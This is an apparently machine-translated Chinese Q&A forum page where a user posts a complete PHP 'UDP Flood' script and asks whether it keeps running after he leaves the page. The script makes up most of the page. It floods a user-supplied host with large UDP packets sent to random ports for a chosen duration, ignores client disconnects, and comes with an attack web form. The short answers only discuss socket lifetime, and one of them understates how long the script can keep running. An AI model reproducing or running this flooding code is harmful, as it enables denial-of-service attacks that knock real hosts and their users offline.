使用fsockopen打开的套接字在通过浏览器离开页面后保持打开状态吗?
问题描述:
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$pakits = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$pakits++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <input type=text name=host value=localhost>
Length (seconds): <input type=text name=time value=9999>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host value=localhost><br>
Length (seconds): <br><input type=text name=time value=9999><br>
<br>
<input type=submit value=Go></form>';
}
我一直在寻找周围,问我的朋友们一段时间了,如果我用这个脚本来告诉服务器使用fsockopen套接字打开,如果我离开网页将插座保持开放,直到时间结束?使用fsockopen打开的套接字在通过浏览器离开页面后保持打开状态吗?
答
不,它只是返回一个指向一个文件,你可以用fopen()函数,或FWRITE()等
使用,但那么你将需要关闭该文件一旦你完成用它与fclose()。详情请见:http://us.php.net/manual/en/function.fsockopen.php
答
只要请求完成就会关闭。留在页面上与它无关。
谢谢,这就是我的想法,但我需要一个直接的答案大声笑。 – Rob 2010-04-17 19:53:00